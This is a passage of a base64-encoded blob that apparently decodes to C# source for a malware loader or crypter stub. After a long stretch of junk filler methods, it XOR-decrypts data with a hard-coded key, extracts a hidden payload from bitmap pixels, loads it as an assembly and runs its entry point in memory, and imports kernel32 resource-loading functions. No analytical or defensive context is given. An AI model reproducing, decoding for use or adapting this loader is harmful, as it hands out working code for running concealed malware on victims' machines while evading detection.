gMjk4OTY3NzApew0KWWl6cENYID0gWWl6cENYICsgNDUwMzI2Ow0KfXNieXRlIEpHSVhmQiA9ICAtMjI7IAogQ29uc29sZS5SZWFkTGluZSgpO3NieXRlIFduaWhPUiA9ICAtMTEwOyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBpR0dCUFQgPSAtOC4yMzUxRSszNEY7IAoNCn0KfSBwdWJsaWMgY2xhc3Mgb2JOQlNBe3B1YmxpYyB2b2lkIFVCWmt6SSgpew0KYnl0ZSB1S21TT3MgPSAgNDU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgenRpSHNHID0gNTUxMTA2OyAKd2hpbGUoenRpSHNHID09IDU1MTEwNil7DQp6dGlIc0cgKz0gNTY3NTY7DQp9bG9uZyBxTUZoaWEgPSA4Mzg3NzQ0NTgyNzM3NjAyNjsgCnN0cmluZyBDZGlRaUcgPSAid1RmRHFRIjsgCiBDb25zb2xlLldyaXRlTGluZShDZGlRaUcpO3VpbnQgVGxyZ3N3ID0gMjM7IApkb3VibGUgQnNicGJEID0gLTEuOTM0MDQ5RS0xNDsgCndoaWxlKEJzYnBiRCA9PSAtNDExOC42ODcpew0KQnNicGJEID0gTWF0aC5Qb3coZG91YmxlLk5lZ2F0aXZlSW5maW5pdHksIDIpOw0KaW50PyBIU2lqWEFCTCA9IDkxMTkxODg7DQpIU2lqWEFCTCArPSA3NjQxMTsNCn0NCn1wdWJsaWMgdm9pZCBIcEJOUE0oKXsNCnVsb25nIFpucEloUyA9IDI2MjkwODgyMjUzNjQzNjg0OyAKc2J5dGUgRHFpbEdRID0gIC0zMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgUm1GbGxzID0gLTE3MTYzOyAKIGJ5dGVbXSBSbUZsbHNSbUZsbHMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlJtRmxscyIpO2Zsb2F0IE9HSE1aciA9IDUuOTc4NTg0RS0yN0Y7IApsb25nIFhSZEJJeiA9IDQzMjA1NjExNzMzNzA2OTAxOyAKbG9uZyBQS3RJYUcgPSA0MzI5MjAwNzgxNTYyOTYxNzsgCg0KfXB1YmxpYyB2b2lkIHJFb2hTRCgpew0KZG91YmxlIEdITWpJVSA9IC0xLjkzMjU2MUUtMjE7IApkb3VibGUgYXBnd0xZID0gNy41NjIxMDlFLTA2Ow0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoR0hNaklVLlRvU3RyaW5nKCkpOw0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQpDb25zb2xlLldyaXRlTGluZShleC5NZXNzYWdlKTsNCn1zYnl0ZSBuemhMeFUgPSAgMTc7IAogQ29uc29sZS5SZWFkTGluZSgpO3Nob3J0IGRCbFBFVSA9IDcwODQ7IAogYnl0ZVtdIGRCbFBFVWRCbFBFVSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZEJsUEVVIik7c3RyaW5nIE5wc2pyaCA9ICJkZlRiYUwiOyAKIENvbnNvbGUuV3JpdGVMaW5lKE5wc2pyaCk7ZG91YmxlIFVOSlNlUCA9IDEuNzQxMjg5RSszNDsgCmlmKFVOSlNlUCA9PSAzLjQwNjYzN0UrMTIpew0KVU5KU2VQID0gTWF0aC5Qb3coZG91YmxlLk1pblZhbHVlLCBkb3VibGUuTWF4VmFsdWUpOw0Kb2JqZWN0IFNmb1BpcHhBQlZDdUtndjsNClNmb1BpcHhBQlZDdUtndiA9IC00Ljc0Mjk2RS0zMzsNCn1kb3VibGUgVUptV3hwID0gLTEuMzgzNDg2RS0yNzsgCndoaWxlKFVKbVd4cCA9PSAtMjk3OS45NDIpew0KVUptV3hwID0gTWF0aC5UcnVuY2F0ZShVSm1XeHApOw0KQ29uc29sZS5Xcml0ZShVSm1XeHAuVG9TdHJpbmcoKSk7DQp9DQp9cHVibGljIHZvaWQgclVWUUtFKCl7DQpzaG9ydCBDcUpyZ00gPSA4NjY0OyAKIGJ5dGVbXSBDcUpyZ01DcUpyZ00gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkNxSnJnTSIpO2RvdWJsZSBxUlVvS3UgPSAtMi4xNDkwMTdFKzExOyAKd2hpbGUocVJVb0t1ID09IC0yLjI5NDU4RS0zMil7DQpxUlVvS3UgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUocVJVb0t1LlRvU3RyaW5nKCkpOw0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQpDb25zb2xlLldyaXRlTGluZShleC5NZXNzYWdlKTsNCn0NCn11c2hvcnQgVm56Y3RQID0gMzI1MDE7IAp1bG9uZyB0S2hqd0QgPSAyMDEwNjMyOTcxNTc2MDk2NjsgCnNob3J0IERlYnVPZSA9IC0xNDMyOTsgCiBieXRlW10gRGVidU9lRGVidU9lID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJEZWJ1T2UiKTtieXRlIHNOVVJjcyA9ICA5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7DQp9cHVibGljIHZvaWQgTGFYbGlXKCl7DQppbnQga3FJSlluID0gNDQxMDM0Mjc7IAppZihrcUlKWW4gPT0gNTE0ODc0KXsNCmtxSUpZbiArPSA4MDI1NTA7DQp9ZG91YmxlIGhkQVl2TiA9IC0yLjA5NzI1NEUrMTk7IAppZihoZEFZdk4gPT0gLTUuNjgxMDI2RSszMSl7DQpkb3VibGUgWmNka0tvZktkVHdocEN1byA9IDguNDM0NTQ3RS0yOTsNCmhkQVl2TiA9IE1hdGguUm91bmQoWmNka0tvZktkVHdocEN1byk7DQppbnRbXSBWeUdFd21ES2RqSW94S0h6Y256UWVTbiA9IHsgNjQxOTA3NCAsIDU2NzYzIH0gOw0KUmFuZG9tIHVLZHpvd1RoWD0gbmV3IFJhbmRvbSgpOw0KQ29uc29sZS5Xcml0ZUxpbmUoVnlHRXdtREtkaklveEtIemNuelFlU25bdUtkem93VGhYLk5leHQoMCwyKV0pOw0KfWludCBOSnBtS0QgPSA4ODMyOyAKd2hpbGUoTkpwbUtEID09IDg4MzIpew0KTkpwbUtEID0gNzA2MzMzOw0KfXN0cmluZyB4YkJIRnogPSAiUnVkdVdMIjsgCiBDb25zb2xlLldyaXRlTGluZSh4YkJIRnopO3N0cmluZyBhUUpmanUgPSAiQWV5Y1NsIjsgCiBDb25zb2xlLldyaXRlTGluZShhUUpmanUpO3VzaG9ydCBOaXh4eFMgPSA0MjkyNDsgCg0KfXB1YmxpYyB2b2lkIGRHdnBQTCgpew0KbG9uZyBIQnBkQlYgPSAzNTMxOTY3NzYxMjIzMzMwMTsgCnVpbnQgQkxHQWxZID0gNDExMTg0OyAKdWxvbmcgRkdTanp5ID0gMjg3NTg3MzM0NjU4MTIxMjsgCnNieXRlIEpqZ1BnTCA9ICAxMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBDT2dsSmsgPSAiQkh2ZFJxIjsgCiBDb25zb2xlLldyaXRlTGluZShDT2dsSmspO2xvbmcgeER5endzID0gNTMwMzgwNjk2NDcxMTc2OTg7IAoNCn0KfSBwdWJsaWMgY2xhc3MgeW5qalJ6e3B1YmxpYyB2b2lkIGZWUkVEZSgpew0KdXNob3J0IElnQlV4dyA9IDEzNTgyOyAKdXNob3J0IE9jWFl6RCA9IDE5NzE0OyAKYnl0ZSB1U0RETGUgPSAgMTU5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgZ0t2TGtKID0gMzA4MDsgCiBieXRlW10gZ0t2TGtKZ0t2TGtKID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnS3ZMa0oiKTtmbG9hdCBOZ0RSek0gPSAtOS45NDYzNTlFKzE1RjsgCmxvbmcgZXBsSXVqID0gMjI1NjU1OTI4ODgwMjAwMDI7IAoNCn1wdWJsaWMgdm9pZCB4aFBoUGsoKXsNCnVzaG9ydCB3WmtSRG0gPSAzOTUyNDsgCmJ5dGUgdkpsbXBPID0gIDk0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7Ynl0ZSBrbWFNSk0gPSAgMzE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgSndmbHpMID0gMTE5NDQ7IApsb25nIEV4dHdMSiA9IDQyOTk2OTcxNDk1NzYyMjExOyAKaW50IFZiR1VHQSA9IDQ2MDA7IAppZihWYkdVR0EgPT0gNzgzMzU1KXsNClZiR1VHQSArPSA2NzYzMzI7DQp9DQp9cHVibGljIHZvaWQgcU1TZHFuKCl7DQpzYnl0ZSBBZndBclAgPSAgLTI0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCB2bXRIZEYgPSAtMS40NjkzNDJFLTMzRjsgCmZsb2F0IFRHV1RyaCA9IDguMjcxMjRGOyAKc2J5dGUgTEt6UnlhID0gIC0xMjU7IAogQ29uc29sZS5SZWFkTGluZSgpO3VzaG9ydCBaYlh4UWYgPSAxNTYwNzsgCnVzaG9ydCB2Rm9ZdUMgPSA1MDM2NzsgCg0KfXB1YmxpYyB2b2lkIGlCZmpLZigpew0KaW50IHZwdEVmdiA9IDE3MzQ7IAp3aGlsZSh2cHRFZnYgPT0gMTczNCl7DQp2cHRFZnYgPSA2NDEzMjU7DQp9bG9uZyBwR0JrT3YgPSA2MzY1NDY3MTg4NDIyMTQ0NDsgCnVsb25nIHF5d0xOQyA9IDY2NzE0Mjk3NTE3NzQ3MDgxOyAKYnl0ZSBXaExuaGwgPSAgMTg4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIHV4RGtzcSA9IC0yMDIwLjYyOyAKd2hpbGUodXhEa3NxID09IC02LjY2NjQ0MkUrMTUpew0KZG91YmxlIFV4bk1rRXl1TEMgPSAtMC4zMDEyMDE2Ow0KdXhEa3NxID0gTWF0aC5Sb3VuZChVeG5Na0V5dUxDICwxLE1pZHBvaW50Um91bmRpbmcuVG9FdmVuKTsNCnRyeXsNCmludCBKZlZaZkZtRGhOYkxkUXRtQ3pHbHogPSA0MjU3NDE4Ow0KaWYoSmZWWmZGbURoTmJMZFF0bUN6R2x6ID09IDg3NTE3KXsNCkpmVlpmRm1EaE5iTGRRdG1DekdseisrOw0KfWVsc2V7DQpKZlZaZkZtRGhOYkxkUXRtQ3pHbHotLTsNCkNvbnNvbGUuV3JpdGUoSmZWWmZGbURoTmJMZFF0bUN6R2x6LlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1kb3VibGUgSXNnbFRYID0gNi4wMDEzMTlFKzM3OyAKd2hpbGUoSXNnbFRYID09IDIuMDk3MzQ5RS0zOSl7DQpJc2dsVFggPSBNYXRoLlBvdygyLCAyLjEpOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9DQp9cHVibGljIHZvaWQgbEtCT05oKCl7DQpzdHJpbmcgVENLR2ZyID0gIld4bnhCTCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoVENLR2ZyKTtieXRlIG9UcEZWRyA9ICA3MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIHVRVUN3RiA9ICAtMTA3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1aW50IEliT3lhZSA9IDYyMTU2NTsgCmxvbmcgUXVwUVNOID0gMTYwMzA0MzY3NDExOTkzOTQ7IApkb3VibGUgbFFQYkV5ID0gLTMuNjU4ODc3RS0zMzsgCndoaWxlKGxRUGJFeSA9PSA1LjM1NjgzM0UtMjIpew0KbFFQYkV5ID0gTWF0aC5Qb3coZG91YmxlLk5lZ2F0aXZlSW5maW5pdHksIDIpOw0Kb2JqZWN0IE9OYlNFUDsNCk9OYlNFUCA9IC00LjM1MDQ5NUUrMTU7DQpDb25zb2xlLldyaXRlTGluZShPTmJTRVAuVG9TdHJpbmcoKS5Ub0xvd2VyKCkpOw0KfQ0KfXB1YmxpYyB2b2lkIGRCWGlCcigpew0KZG91YmxlIFhDR0lZTSA9IC0yLjEyNjkyM0UrMDk7IAp3aGlsZShYQ0dJWU0gPT0gMi42MjQ2MjdFKzIxKXsNClhDR0lZTSA9IE1hdGguQ2VpbGluZyhNYXRoLkFzaW4oMC4yKSk7DQpvYmplY3QgTFFnaHo7DQpMUWdoeiA9IC0xLjU3MTQxNkUtMTg7DQp9Ynl0ZSBGQ2p2Z2MgPSAgODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2Zsb2F0IHhmdXlTUSA9IDYuNjMxNDE3RS0xM0Y7IAp1bG9uZyBxQ1hoVFIgPSA0MDY3ODE3NzAwOTE0NzI2NTsgCnVzaG9ydCBYY2l0amUgPSAxMDU4OyAKZmxvYXQgRm9aTFlYID0gNC44OTQ2MzFFKzEzRjsgCg0KfQp9IHB1YmxpYyBjbGFzcyBHQkJNb1l7cHVibGljIHZvaWQgWHJGZWxuKCl7DQpsb25nIEVVcG1kUSA9IDcwNjMzODAzNzg0ODM4NDcyOyAKbG9uZyBrZll1R1UgPSA3NjU1NTI5NzI4MTc2NTM4MjsgCnNob3J0IERoRmhOUCA9IDIyODg3OyAKIGJ5dGVbXSBEaEZoTlBEaEZoTlAgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkRoRmhOUCIpO3VpbnQgZ1BMeHRZID0gMjY3MjkyOyAKaW50IEF5ZmJURyA9IDE2NDM0MjU0MzsgCndoaWxlKEF5ZmJURyA9PSAxNjQzNDI1NDMpew0KQXlmYlRHID0gQXlmYlRHICsgMTU2MTIxOw0KfXNob3J0IEVtcWp3UiA9IC01OTU3OyAKIGJ5dGVbXSBFbXFqd1JFbXFqd1IgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkVtcWp3UiIpOw0KfXB1YmxpYyB2b2lkIFd5Z1ZtVygpew0KZG91YmxlIE1qc2VPayA9IC03LjE1ODUzNEUrMjE7IAp3aGlsZShNanNlT2sgPT0gLTMyMDYuNzczKXsNCmRvdWJsZSBsTXJXbmYgPSBNYXRoLkxvZygxMDAwLCAxMCk7DQpNanNlT2sgPSBsTXJXbmY7DQoNCn1zYnl0ZSBqVkVCeFUgPSAgLTEwNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgQnBkamxrID0gLTI1NzIwOyAKIGJ5dGVbXSBCcGRqbGtCcGRqbGsgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkJwZGpsayIpO2ludCBra2hFb3MgPSAzMTE1OyAKaWYoa2toRW9zID09IDEwMzApew0Ka2toRW9zID0ga2toRW9zICsgNjMwMzYxOw0KfXNieXRlIHZhaWV1UCA9ICA1MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dXNob3J0IHNUSE1EQyA9IDM0NTgzOyAKDQp9cHVibGljIHZvaWQgcHRTQkhCKCl7DQp1c2hvcnQgcHl5ZUZwID0gMzY0MjE7IAp1aW50IHZlYnRoUyA9IDEwMjU0MDEyNjsgCmRvdWJsZSBPVWxBTnogPSAxLjU1OTI2MkUtMTk7IApPVWxBTnogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoT1VsQU56LlRvU3RyaW5nKCkpOw0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQpDb25zb2xlLldyaXRlTGluZShleC5NZXNzYWdlKTsNCn11bG9uZyBzQ0FISlogPSAzMzEzMzg3OTkxNzcxMDgxOyAKaW50IFRlRVJzdCA9IDI5MzgwMzAzOyAKd2hpbGUoVGVFUnN0ID09IDI5MzgwMzAzKXsNClRlRVJzdCA9IDIwNzM3Ow0KfWludCB1SmpKV3QgPSA5MzYzOyAKaWYodUpqSld0ID09IDEwNDc2Nyl7DQp1SmpKV3QgPSA5Mjk3ODsNCn0NCn1wdWJsaWMgdm9pZCBEeEFSd3ooKXsNCmJ5dGUgRk5rbmpVID0gIDIzNTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCBSTU9MY1MgPSA2NDU2OyAKd2hpbGUoUk1PTGNTID09IDY0NTYpew0KUk1PTGNTID0gNTA0NTA2Ow0KfWRvdWJsZSBJUFJTZGIgPSAtMS4wMDAwODlFKzMwOyAKaWYoSVBSU2RiID09IC00Ljg5NjIyNUUrMjYpew0KZG91YmxlIEhpWER6dnF1R2dWUFZIV09vaUh3RWNWID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KSVBSU2RiID0gSGlYRHp2cXVHZ1ZQVkhXT29pSHdFY1Y7DQpvYmplY3Qgd3NETExBU0NCdUhYR2JEWGpSVEE7DQp3c0RMTEFTQ0J1SFhHYkRYalJUQSA9IDEuNDA0MjU1RSsyODsNCkNvbnNvbGUuV3JpdGVMaW5lKHdzRExMQVNDQnVIWEdiRFhqUlRBLlRvU3RyaW5nKCkuVG9Mb3dlcigpKTsNCn1mbG9hdCBzUGVLRWMgPSAtNS42MzQzMTFFLTIwRjsgCnN0cmluZyBKeWxIQVogPSAidmFqeW5MIjsgCiBDb25zb2xlLldyaXRlTGluZShKeWxIQVopO3NieXRlIFVuSlh4aSA9ICAtOTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgRmhqYnhWKCl7DQpieXRlIEtmaW5IdyA9ICAyMzI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBFRU5pS2YgPSAgLTEwOTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IENEWll2VSA9IDg4OTQ7IAp3aGlsZShDRFpZdlUgPT0gODg5NCl7DQpDRFpZdlUgPSBDRFpZdlUgKyAzMjE2ODY7DQp9ZG91YmxlIE9ubHlGUiA9IDEuNjQyOTA2RS0zNTsgCk9ubHlGUiA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbmgoLTUpKTsNCnVzaG9ydCBnQlZ1bkQgPSAzNzU3NjsgCnVsb25nIE9EdWFxTSA9IDE1NTEzNDY1MzQ5OTYzNTE5OyAKDQp9cHVibGljIHZvaWQgR093Tm9SKCl7DQpzaG9ydCBxSEdCU3UgPSAtMjgxOTE7IAogYnl0ZVtdIHFIR0JTdXFIR0JTdSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygicUhHQlN1Iik7dWludCB0QlBQV1UgPSAzMTsgCmRvdWJsZSBXYkNoSHMgPSAtMS44OTM3NjJFKzA4OyAKd2hpbGUoV2JDaEhzID09IDcuODY2NDk0RSsxOSl7DQpkb3VibGUgTVVJbGZEZ1dwcktLRnhyQnZiZ2plc1FTRFZ0dyA9IC0xLjE4NTUyOEUrMDg7DQpXYkNoSHMgPSBNYXRoLlJvdW5kKE1VSWxmRGdXcHJLS0Z4ckJ2YmdqZXNRU0RWdHcgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9c2J5dGUgT2dleWF4ID0gIC05ODsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IEhVS3dxcyA9IDQwMTI3MjMyOyAKaWYoSFVLd3FzID09IDc5NDQzMyl7DQpIVUt3cXMgKz0gNzU0NDQxOw0KfWRvdWJsZSBIQXdEc1AgPSA5LjIzNTEyNkUrMjk7IApIQXdEc1AgPSBNYXRoLkNlaWxpbmcoTWF0aC5Db3NoKDUpKTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn0KfSBwdWJsaWMgY2xhc3MgVUxiWWVle3B1YmxpYyB2b2lkIGFhdHNDRSgpew0KYnl0ZSBHY0phZ0YgPSAgMjA3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgY3dMY1d0ID0gODIwNDc3NTgzMzUzMzgwMTY7IAppbnQgR0ppUVVMID0gNDM2MTkxOyAKd2hpbGUoR0ppUVVMID09IDQzNjE5MSl7DQpHSmlRVUwgKz0gMjA3Mjc1Ow0KfXNob3J0IEthQnNYZiA9IC0xODMxNTsgCiBieXRlW10gS2FCc1hmS2FCc1hmID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJLYUJzWGYiKTtzaG9ydCBWQ0VEUEggPSAyMDQzMzsgCiBieXRlW10gVkNFRFBIVkNFRFBIID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJWQ0VEUEgiKTtzYnl0ZSBNcG5laEwgPSAgLTY7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIE9od2dxeigpew0KaW50IHNlY1BkVyA9IDU2OTIyMjYwOyAKd2hpbGUoc2VjUGRXID09IDU2OTIyMjYwKXsNCnNlY1BkVyA9IHNlY1BkVyArIDkzNzAxNjsNCn1sb25nIEt3YkJkZSA9IDQ3NzAxMDUzNzE3MjQ1NTk2OyAKaW50IG1tWkZWTCA9IDE0NTUxNTQ0ODsgCmlmKG1tWkZWTCA9PSA4NjMwMzQpew0KbW1aRlZMID0gbW1aRlZMICsgOTg5NTU4Ow0KfWludCBJZ29ySUggPSAzNzsgCndoaWxlKElnb3JJSCA9PSAzNyl7DQpJZ29ySUggPSBJZ29ySUggKyA3NzczNjM7DQp9dWxvbmcgaHR0eGdLID0gNTY0NDY1MTA0Mzk4MTM5MjM7IApkb3VibGUgS2JzdnNKID0gNC43MjEwMzFFLTI2OyAKaWYoS2JzdnNKID09IDkuMTYxNTYzRS0yOSl7DQpLYnN2c0ogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0Kb2JqZWN0IE5DWFltdnF4VlRReUZsbnNJWHBpR207DQpOQ1hZbXZxeFZUUXlGbG5zSVhwaUdtID0gLTEuMjY4NzE4RS0xNDsNCkNvbnNvbGUuV3JpdGVMaW5lKE5DWFltdnF4VlRReUZsbnNJWHBpR20uVG9TdHJpbmcoKS5Ub0xvd2VyKCkpOw0KfQ0KfXB1YmxpYyB2b2lkIGxYdGV4Vigpew0Kc2hvcnQgVXh1cHdSID0gLTMxNDU7IAogYnl0ZVtdIFV4dXB3UlV4dXB3UiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVXh1cHdSIik7Ynl0ZSBtS2Zpd00gPSAgNjY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIEFrTm1PaCA9IDE0NzUyNDcwMDQ3ODM2MDY3OyAKaW50IFFIclFKVSA9IDI3OTIwNzsgCndoaWxlKFFIclFKVSA9PSAyNzkyMDcpew0KUUhyUUpVICs9IDU2NDQ1ODsNCn1ieXRlIG9DV2ZPTyA9ICA4OTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIHJLRHdxcyA9ICAtMzc7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIHFhdU5XVSgpew0KdXNob3J0IEh0cHNUZCA9IDE3NDY1OyAKc2hvcnQgSUpzS0RQID0gLTE5NzM7IAogYnl0ZVtdIElKc0tEUElKc0tEUCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiSUpzS0RQIik7c3RyaW5nIG1US2VJRyA9ICJPQWx2TGUiOyAKIENvbnNvbGUuV3JpdGVMaW5lKG1US2VJRyk7dWludCBOdkNWSkQgPSA0NjMwNDc7IApzaG9ydCB5TU9IYXggPSA5MTI0OyAKIGJ5dGVbXSB5TU9IYXh5TU9IYXggPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInlNT0hheCIpO2Zsb2F0IElQTmdRcyA9IDIuMTYzMzdFLTMxRjsgCg0KfXB1YmxpYyB2b2lkIEhWekJVVCgpew0KZmxvYXQgdEVVWHV5ID0gLTUuMjMxMjc2RS0zNEY7IApzYnl0ZSB6RldWWVMgPSAgMTA3OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgbHNzTGlvID0gLTUuNTc5MDQyRS0wODsgCmlmKGxzc0xpbyA9PSAtNzI2NDYuMTUpew0KZG91YmxlIFJvdnpZQ2tpSG53VkllVUhGeHpUYU1ZTmtDciA9IDE0NzMyNDM7DQpsc3NMaW8gPSBNYXRoLkNlaWxpbmcoUm92ellDa2lIbndWSWVVSEZ4elRhTVlOa0NyKTsNCnRyeXsNCkNvbnNvbGUuV3JpdGVMaW5lKGxzc0xpby5Ub1N0cmluZygpKTsNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KQ29uc29sZS5Xcml0ZUxpbmUoZXguTWVzc2FnZSk7DQp9DQp9Ynl0ZSBRU05YcWogPSAgMjE4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBzU01ZdnYgPSAyOTM4MzgzMzQ3MzQ3MjE3ODsgCmRvdWJsZSBiR3hYSFQgPSAtMS4zNjU2MzRFKzI1OyAKZG91YmxlIHRoVUxlUUF4VFhVQ1hsZmN6cyA9IE1hdGguTG9nKDEwMDAsIDEwKTsNCmJHeFhIVCA9IHRoVUxlUUF4VFhVQ1hsZmN6czsNCkNvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBCWWtOcE8oKXsNCnVpbnQga05WcmlPID0gNjM2MjcyNTAyOyAKc3RyaW5nIFBjaWdORiA9ICJGTEtKaE8iOyAKIENvbnNvbGUuV3JpdGVMaW5lKFBjaWdORik7bG9uZyBnZWlsVlogPSA1MDA0ODcxMTY4OTM4MzI4ODsgCnVzaG9ydCBLTlpOT0sgPSAzNDg5OTsgCmxvbmcgTGtjeHdyID0gMTAxMDg3MzAzNDI5OTg4NTE7IApsb25nIGhITnBIRSA9IDMyMjk1MTY0NzY3Nzg3MDkwOyAKDQp9Cn0gDQoNCiAgICBjbGFzcyBQcm9ncmFtDQogICAgew0KDQogICAgICAgIHN0YXRpYyBzdHJpbmcgV1RWZlpWU1hMdE5OUCA9ICIjcGFzcyMiOw0KICAgICAgICBwcml2YXRlIHN0YXRpYyBieXRlW10geVphQnByTihieXRlW10gYnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJ5dGVbXSBieXRlQXJyYXkgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKFdUVmZaVlNYTHROTlApOw0KICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBieXRlcy5MZW5ndGg7IGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBieXRlc1tpXSBePSBieXRlQXJyYXlbaSAlIDE2XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBieXRlczsNCiAgICAgICAgfQ0KCQkNCgkJcHJpdmF0ZSBzdGF0aWMgYnl0ZVtdIENvbnZlcnRGcm9tQm1wKFN5c3RlbS5EcmF3aW5nLkJpdG1hcCBiKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgbCA9IGIuV2lkdGg7DQogICAgICAgICAgICBpbnQgbiA9IGwgKiBsICogNDsNCiAgICAgICAgICAgIGJ5dGVbXSBidWZmID0gbmV3IGJ5dGVbbl07DQogICAgICAgICAgICBpbnQgayA9IDA7DQoNCiAgICAgICAgICAgIGZvciAoaW50IHggPSAwOyB4IDwgbDsgeCsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGZvciAoaW50IHkgPSAwOyB5IDwgbDsgeSsrKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQnVmZmVyLkJsb2NrQ29weShCaXRDb252ZXJ0ZXIuR2V0Qnl0ZXMoYi5HZXRQaXhlbCh4LCB5KS5Ub0FyZ2IoKSksIDAsIGJ1ZmYsIGssIDQpOw0KICAgICAgICAgICAgICAgICAgICBrICs9IDQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpbnQgbGVuID0gQml0Q29udmVydGVyLlRvSW50MzIoYnVmZiwgMCk7DQogICAgICAgICAgICBieXRlW10gZiA9IG5ldyBieXRlW2xlbl07DQogICAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGJ1ZmYsIDQsIGYsIDAsIGYuTGVuZ3RoKTsNCiAgICAgICAgICAgIHJldHVybiBmOw0KICAgICAgICB9DQoJCQ0KCQkNCgkJc3RhdGljIGJ5dGVbXSBiREdGSzsNCgkJcHVibGljIHN0YXRpYyB2b2lkIE9YaUhOQ2FVTVpXYU9xc04oKQ0KCQl7DQoJCQlBc3NlbWJseS5Mb2FkKGJER0ZLKS5FbnRyeVBvaW50Lkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBuZXcgc3RyaW5nW10geyB9IH0pOw0KCQl9DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgbHBOYW1lLCBJbnRQdHIgbHBUeXBlKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJc3RhdGljIGV4dGVybiB1aW50IFNpemVvZlJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgaFJlc0luZm8pOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBoUmVzSW5mbyk7DQoJCQ0KCQlbRGxsSW1w